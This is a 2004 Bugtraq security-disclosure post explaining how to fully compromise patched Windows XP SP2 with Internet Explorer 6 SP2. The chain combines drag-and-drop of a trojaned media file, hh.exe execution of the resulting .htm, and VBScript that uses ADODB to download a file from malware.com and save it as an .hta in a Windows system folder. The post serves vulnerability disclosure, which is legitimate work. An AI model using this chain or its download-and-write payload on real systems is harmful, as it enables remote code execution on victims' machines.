Message-ID: <200410200335.i9K3Zi72007862__30138.012514408$1098302897$gmane$org@web186.megawebservers.com>
Date: Wed, 20 Oct 2004 03:35:44 -0000
From: "http-equiv@...ite.com " <1@...ware.com>
To: <bugtraq@...urityfocus.com>
Cc: <NTBugtraq@...tserv.ntbugtraq.com>
Subject: How to Break Windows XP SP2 + Internet Explorer 6 SP2




Tuesday,  October 19, 2004

The following technical exercise demonstrates the enormously 
elaborate methods required to defeat the current [as of today's 
date] security mechanisms in place in both Microsoft Windows XP 
SP2 and Internet Explorer 6.00 SP2 fully 
patched:

It is by no means easy. The 'locking down 'of the local zone is 
and has been the 'Achilles' Heel' of the manufacturer known as 
Microsoft from time of inception to date.

What we craft herewith is:

a) an enormous waste of personal resources and time
be) a full and complete remote compromise of the target computer

It is sufficiently diluted to allow for technical explanation at 
this time, however, considering that today 'full fireworks' from 
the get-go appear to be mundane to those that need, or pretend, 
to need to know, brighter sparks may or may not 'see the light' !

The problem is three-fold:

The SP2 'patch' for the Microsoft XP so-called 'operating 
system' does indeed do a terrific job of shutting out all Active 
Content from the so-called Local Zone. So much so as to , in 
addition to that aspect, killing off of the ADODB.Stream and 
Shell.Application [very] ActiveX controls.

The questions then are:

a) if we can run code in the local zone, what can we run to 
read, write and delete
b) if we can run code that can read, write and delete, how 
exactly do we run it

Like so:

1/  The recent  'drag drop' patch crammed into the Internet 
Explorer so-called 'Cumulative Security Update for Internet 
Explorer (834707)' yields some interesting results

2/ Clearly the mechanism to put anything other than the intended 
MIME type in the src or dynsrc has been bolstered. Almost to the 
point of being a specific set of file types. One might suspect 
the capabilities of the newly enriched 'snot nosed' security of 
Internet Explorer is called into play:

A

a) .xml;.doc;.py;.cdf;.css;.pdf;ppt and a number of others 
prove 'draggable'. Key or 'executable' file types do not -- for 
obvious reasons [now].

b) the 'trick' is then to emulate these file types. Quite 
correctly Internet Explorer 'sniffs' the file type to ensure its 
being. From within. Draggable elements are quite limited. As 
in <img src=''...> or <img dynsrc=''...> meaning only legitimate 
files assigned can be dragged -- media or image.

c) What we do is inject our html code into the media file, 
remove the file type [extention] and let the machine do our 
dirty work first step for us

d) Dragging our 'trojaned' image file across, containing our 
arbitrary code, we remove the extension and the machine 
automagically creates a nice crisp .htm file

e) Big deal they say. Cannot run code in the 'Local Zone'. We 
then take an oddity with our most helpful Help function from the 
operating system known as hh.exe. By giving this a non-valid or 
miss-formed 'window' we are able to then point hh.exe to our 
machine made [inclusive of our arbitrary code] .htm file and 
execute that within Windows Help. What that means is that this 
is not a trivial 'showHelp()' rather an actual .chm opening via 
hh.exe remotely. In technical essence that is. Along with its 
With pseudo privileges no doubt.

f) Big deal they say. Cannot run read / write / delete/ code in 
the 'Local Zone'. Adodb.Stream is dead. Shell.Application is 
dead. WScript.Shell has been patched even longer than that. But, 
we magically craft new code to replace it like so:

<script language="vbs">
'http://www.malware.com - 19.10.04
Dim Conn, rs
Set Conn = CreateObject("ADODB.Connection")
Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
"Dbq=http://www.malware.com;" & _
"Extensions=asc,csv,tab,txt;" & _
"Persist Security Info=False"
Dim sql
sql = "SELECT * from foobar.txt"
set rs = conn.execute(sql)
set rs =CreateObject("ADODB.recordset")
rs.Open "SELECT * from foobar.txt", conn
rs.Save "C:\\WINDOWS\\PCHealth\\malware.hta", adPersistXML
rs.close
conn.close
</script>

Simply put, that is perhaps the last remaining 'piece of code' 
that can write arbitrary content to an arbitrary file name in an 
aribitrary location.

All it is doing is pulling from malware.com, the contents of a 
miserable text file, then writing that content to an .hta file 
in the location we tell it to. On the local machine.

Working Diluted Manual Demo [go make your own fireworks !]:

http://www.malware.com/noceegar.html


Notes: 

1. the entire process could be automated should one really have 
time to waste
2. current so-called 'professional' trends are inclined to "so 
what. If it cannot bake toast as well who cares"
3. Exactly. Who really cares !
4. Do you.


End Call


-- 
http://www.malware.com

Powered by blists - more mailing lists